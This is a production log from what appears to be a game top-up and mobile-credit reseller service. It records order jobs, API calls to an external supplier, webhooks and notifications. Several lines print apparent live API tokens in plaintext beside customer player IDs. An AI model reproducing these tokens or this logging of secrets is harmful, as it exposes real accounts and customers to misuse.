[2026-03-24 22:42:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:42:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:42:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":2,"order_ids":["ORD-iVxvP-1774381287","ORD-dlo-1774381293"]} 
[2026-03-24 22:42:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:42:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":2} 
[2026-03-24 22:42:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 22:42:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 22:42:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359,"count":2} 
[2026-03-24 22:42:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359,"count":2} 
[2026-03-24 22:42:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359,"user_id":32,"notification_type":"order_approved","reference_id":179491} 
[2026-03-24 22:42:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359,"user_id":32,"notification_type":"order_approved","reference_id":179490} 
[2026-03-24 22:42:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:42:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:42:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359,"processed":2,"errors":0} 
[2026-03-24 22:42:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359,"processed":2,"errors":0} 
[2026-03-24 22:42:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-iVxvP-1774381287","operation_id":164359} 
[2026-03-24 22:42:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 22:42:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 22:42:31] production.INFO: SendAcceptReject: Notification queued {"user_id":38,"notification_type":"order_approved","reference_id":179484} 
[2026-03-24 22:42:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 38  
[2026-03-24 22:43:27] production.INFO: Constructing job for order: 179492  
[2026-03-24 22:43:28] production.INFO: Handling job for order: 179492  
[2026-03-24 22:43:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:43:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:43:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=100000&uuid=eafaa593-3efb-4ee4-8e8e-fa58b15aedb9&Player_ID=1769341318  
[2026-03-24 22:43:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=100000&uuid=eafaa593-3efb-4ee4-8e8e-fa58b15aedb9&Player_ID=1769341318","has_body":false} 
[2026-03-24 22:43:29] production.INFO: Operation sent successfully {"operation_id":164361,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zEL-1774381408","amount":11.256000000000000227373675443232059478759765625,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 22:43:29"}},"processed_data":{"order_number":"ORD-zEL-1774381408","amount":11.256000000000000227373675443232059478759765625,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 22:43:35] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-zEL-1774381408","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:43:35] production.INFO: Processed webhook data (normalized) {"id":"ORD-zEL-1774381408","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:43:35] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:43:35] production.INFO: SendAcceptReject: Notification queued {"user_id":45,"notification_type":"order_approved","reference_id":179492} 
[2026-03-24 22:43:35] production.INFO: Order updated successfully. Order ID: 179492, Status: completed  
[2026-03-24 22:43:35] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-zEL-1774381408","status":"completed","codes_count":0} 
[2026-03-24 22:43:35] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 45  
[2026-03-24 22:43:57] production.INFO: Constructing job for order: 179493  
[2026-03-24 22:43:59] production.INFO: Handling job for order: 179493  
[2026-03-24 22:43:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:43:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:43:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=07522bcd-bc64-492a-b749-897ddf9e4f32&Player_ID=51857460616  
[2026-03-24 22:43:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=07522bcd-bc64-492a-b749-897ddf9e4f32&Player_ID=51857460616","has_body":false} 
[2026-03-24 22:44:00] production.INFO: Operation sent successfully {"operation_id":164362,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Cwka-1774381439","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:44:00"}},"processed_data":{"order_number":"ORD-Cwka-1774381439","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 22:44:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"UQ8Z8TXU695jedZphPgoKC3GF0x9IsEs","execution_time":"2026-03-24 22:44:03"} 
[2026-03-24 22:44:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"UQ8Z8TXU695jedZphPgoKC3GF0x9IsEs","execution_time":"2026-03-24 22:44:03","total_operations":2,"sites_count":1} 
[2026-03-24 22:44:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"UQ8Z8TXU695jedZphPgoKC3GF0x9IsEs","execution_time":"2026-03-24 22:44:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-wgI-1774379855","ORD-Cwka-1774381439"]} 
[2026-03-24 22:44:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"UQ8Z8TXU695jedZphPgoKC3GF0x9IsEs","execution_time":"2026-03-24 22:44:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:44:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"UQ8Z8TXU695jedZphPgoKC3GF0x9IsEs","execution_time":"2026-03-24 22:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UQ8Z8TXU695jedZphPgoKC3GF0x9IsEs","execution_time":"2026-03-24 22:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Cwka-1774381439","operation_id":164362} 
[2026-03-24 22:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"UQ8Z8TXU695jedZphPgoKC3GF0x9IsEs","execution_time":"2026-03-24 22:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:44:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"UQ8Z8TXU695jedZphPgoKC3GF0x9IsEs","execution_time":"2026-03-24 22:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 22:44:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"UQ8Z8TXU695jedZphPgoKC3GF0x9IsEs","execution_time":"2026-03-24 22:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:44:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"UQ8Z8TXU695jedZphPgoKC3GF0x9IsEs","execution_time":"2026-03-24 22:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:44:23] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Cwka-1774381439","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:44:23] production.INFO: Processed webhook data (normalized) {"id":"ORD-Cwka-1774381439","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:44:23] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:44:23] production.INFO: SendAcceptReject: Notification queued {"user_id":69,"notification_type":"order_approved","reference_id":179493} 
[2026-03-24 22:44:23] production.INFO: Order updated successfully. Order ID: 179493, Status: completed  
[2026-03-24 22:44:23] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Cwka-1774381439","status":"completed","codes_count":0} 
[2026-03-24 22:44:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 22:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 22:45:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 22:45:07] production.INFO: async() رجع: true  
[2026-03-24 22:45:07] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:45:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:45:08] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:45:08] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:45:08] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:45:08] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:45:08] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:45:08] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:45:08] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:45:08] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:45:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"V2zcZikd6bPwEik6rzAbOXCPvNJNfAhP","execution_time":"2026-03-24 22:46:02"} 
[2026-03-24 22:46:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"V2zcZikd6bPwEik6rzAbOXCPvNJNfAhP","execution_time":"2026-03-24 22:46:02","total_operations":1,"sites_count":1} 
[2026-03-24 22:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"V2zcZikd6bPwEik6rzAbOXCPvNJNfAhP","execution_time":"2026-03-24 22:46:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wgI-1774379855"]} 
[2026-03-24 22:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"V2zcZikd6bPwEik6rzAbOXCPvNJNfAhP","execution_time":"2026-03-24 22:46:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:46:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"V2zcZikd6bPwEik6rzAbOXCPvNJNfAhP","execution_time":"2026-03-24 22:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:46:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"V2zcZikd6bPwEik6rzAbOXCPvNJNfAhP","execution_time":"2026-03-24 22:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:46:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"V2zcZikd6bPwEik6rzAbOXCPvNJNfAhP","execution_time":"2026-03-24 22:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:46:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"V2zcZikd6bPwEik6rzAbOXCPvNJNfAhP","execution_time":"2026-03-24 22:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:46:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"V2zcZikd6bPwEik6rzAbOXCPvNJNfAhP","execution_time":"2026-03-24 22:46:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:47:51] production.INFO: Constructing job for order: 179494  
[2026-03-24 22:47:54] production.INFO: Handling job for order: 179494  
[2026-03-24 22:47:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:47:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:47:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=eab2cfd2-081f-4de6-8a3f-5e9cd14cb70c&Player_ID=7713937584  
[2026-03-24 22:47:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=eab2cfd2-081f-4de6-8a3f-5e9cd14cb70c&Player_ID=7713937584","has_body":false} 
[2026-03-24 22:47:54] production.INFO: Operation sent successfully {"operation_id":164363,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-95VsX-1774381674","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 22:47:54"}},"processed_data":{"order_number":"ORD-95VsX-1774381674","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 22:47:55] production.INFO: Constructing job for order: 179495  
[2026-03-24 22:47:57] production.INFO: Handling job for order: 179495  
[2026-03-24 22:47:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:47:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:47:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=2cf64367-b652-47cc-b078-8caabeb97611&Player_ID=7713937584  
[2026-03-24 22:47:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=2cf64367-b652-47cc-b078-8caabeb97611&Player_ID=7713937584","has_body":false} 
[2026-03-24 22:47:58] production.INFO: Operation sent successfully {"operation_id":164364,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0PG3A8d-1774381678","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 22:47:58"}},"processed_data":{"order_number":"ORD-0PG3A8d-1774381678","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 22:47:59] production.INFO: Constructing job for order: 179496  
[2026-03-24 22:48:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01"} 
[2026-03-24 22:48:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01","total_operations":3,"sites_count":1} 
[2026-03-24 22:48:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-wgI-1774379855","ORD-95VsX-1774381674","ORD-0PG3A8d-1774381678"]} 
[2026-03-24 22:48:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:48:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 22:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-0PG3A8d-1774381678","operation_id":164364} 
[2026-03-24 22:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-95VsX-1774381674","operation_id":164363} 
[2026-03-24 22:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:48:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 22:48:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:48:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KBvitQeXwLCb0w5Uj8cnr5svWI5NEAaL","execution_time":"2026-03-24 22:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:48:01] production.INFO: Handling job for order: 179496  
[2026-03-24 22:48:01] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:48:01] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:48:01] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=556031fa-370f-44c8-91a5-0bcee55f968a&Player_ID=0964769756  
[2026-03-24 22:48:01] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=556031fa-370f-44c8-91a5-0bcee55f968a&Player_ID=0964769756","has_body":false} 
[2026-03-24 22:48:02] production.INFO: Operation sent successfully {"operation_id":164365,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-C9Gch-1774381682","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:48:02"}},"processed_data":{"order_number":"ORD-C9Gch-1774381682","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:48:23] production.INFO: Constructing job for order: 179497  
[2026-03-24 22:48:26] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0PG3A8d-1774381678","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:48:26] production.INFO: Processed webhook data (normalized) {"id":"ORD-0PG3A8d-1774381678","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:48:26] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:48:26] production.INFO: SendAcceptReject: Notification queued {"user_id":32,"notification_type":"order_approved","reference_id":179495} 
[2026-03-24 22:48:26] production.INFO: Order updated successfully. Order ID: 179495, Status: completed  
[2026-03-24 22:48:26] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0PG3A8d-1774381678","status":"completed","codes_count":0} 
[2026-03-24 22:48:26] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-95VsX-1774381674","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:48:26] production.INFO: Processed webhook data (normalized) {"id":"ORD-95VsX-1774381674","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:48:26] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:48:26] production.INFO: SendAcceptReject: Notification queued {"user_id":32,"notification_type":"order_approved","reference_id":179494} 
[2026-03-24 22:48:26] production.INFO: Order updated successfully. Order ID: 179494, Status: completed  
[2026-03-24 22:48:26] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-95VsX-1774381674","status":"completed","codes_count":0} 
[2026-03-24 22:48:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 22:48:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 22:48:26] production.INFO: Handling job for order: 179497  
[2026-03-24 22:48:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:48:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:48:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=977bd70d-23b1-4d9b-86a3-1fee2cb962e3&Player_ID=52087055176  
[2026-03-24 22:48:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=977bd70d-23b1-4d9b-86a3-1fee2cb962e3&Player_ID=52087055176","has_body":false} 
[2026-03-24 22:48:27] production.INFO: Operation sent successfully {"operation_id":164366,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-a12KG-1774381707","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:48:27"}},"processed_data":{"order_number":"ORD-a12KG-1774381707","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:48:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-a12KG-1774381707","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:48:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-a12KG-1774381707","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:48:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:48:41] production.INFO: SendAcceptReject: Notification queued {"user_id":335,"notification_type":"order_approved","reference_id":179497} 
[2026-03-24 22:48:41] production.INFO: Order updated successfully. Order ID: 179497, Status: completed  
[2026-03-24 22:48:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-a12KG-1774381707","status":"completed","codes_count":0} 
[2026-03-24 22:48:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 335  
[2026-03-24 22:49:37] production.INFO: Constructing job for order: 179498  
[2026-03-24 22:49:39] production.INFO: Handling job for order: 179498  
[2026-03-24 22:49:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:49:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:49:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=10000&uuid=582f65d2-e0be-42d1-a83f-ab95eae16337&Player_ID=588641378  
[2026-03-24 22:49:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=10000&uuid=582f65d2-e0be-42d1-a83f-ab95eae16337&Player_ID=588641378","has_body":false} 
[2026-03-24 22:49:40] production.INFO: Operation sent successfully {"operation_id":164367,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zZL4-1774381780","amount":1.0080050000000000398614474761416204273700714111328125,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 22:49:40"}},"processed_data":{"order_number":"ORD-zZL4-1774381780","amount":1.0080050000000000398614474761416204273700714111328125,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 22:49:56] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"190.0","mainamount":"190","operation_number":"600431166704","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php6gse0aoumcgv88VIa9f"}},"user_id":500} 
